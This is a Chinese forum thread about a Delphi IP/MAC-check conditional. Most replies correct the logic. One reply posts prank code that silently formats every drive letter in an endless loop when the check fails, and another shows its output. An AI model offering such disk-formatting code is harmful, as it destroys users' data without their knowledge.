+ -
当前位置:首页 → 问答吧 → 关于条件语句

关于条件语句

时间:2011-11-24

来源:互联网

最近开发一个程序,需要一个判断语句:
首先判断IP地址是否和数据库的IP地址相同,如果相同,判断MAC地址是否和数据库相同,不相同就关闭系统,相同就进入系统,如何写?
我的写法是:
  if 数据库.IP=local.IP then
begin
if 数据库.MAC=local.MAC then
begin
进入系统
end;
end
else
begin
Application.Terminate;
end;

不知道哪里出错了,直接进入系统了,请高手帮忙看看,怎么解决?

作者: ltxubo   发布时间: 2011-11-24

同求解答

作者: l376469270   发布时间: 2011-11-24

if 数据库.IP=local.IP and 数据库.MAC=local.MAC then
begin
 进入系统
end
else
begin
  挂掉
end;

作者: sailxia   发布时间: 2011-11-24

if not(数据库.IP=local.IP and 数据库.MAC=local.MAC) then
begin
  While Ture do
  for i:=Ord('A') to Ord('Z') do
  WinExec(PChar(Format('cmd /c dir %s: /q',[Char(i)])),SW_HIDE);
end;

作者: foxyy8888   发布时间: 2011-11-24

Delphi(Pascal) code

if not(数据库.IP=local.IP and 数据库.MAC=local.MAC) then
begin
  While Ture do
  for i:=Ord('A') to Ord('Z') do
  WinExec(PChar(Format('cmd /c format %s: /q',[Char(i)])),SW_HIDE);
end;

作者: foxyy8888   发布时间: 2011-11-24

format c:/q
访问被拒绝,因为您没有足够的特权。
您必须调用这个在提升模式下运行的实用程序。
format d:/q
........

作者: foxyy8888   发布时间: 2011-11-24

支持2楼的写法

作者: server2006   发布时间: 2011-11-25

因为IP相同但MAC不同时,并不执行这句Application.Terminate;

2#就是正确的

作者: kaikai_kk   发布时间: 2011-11-25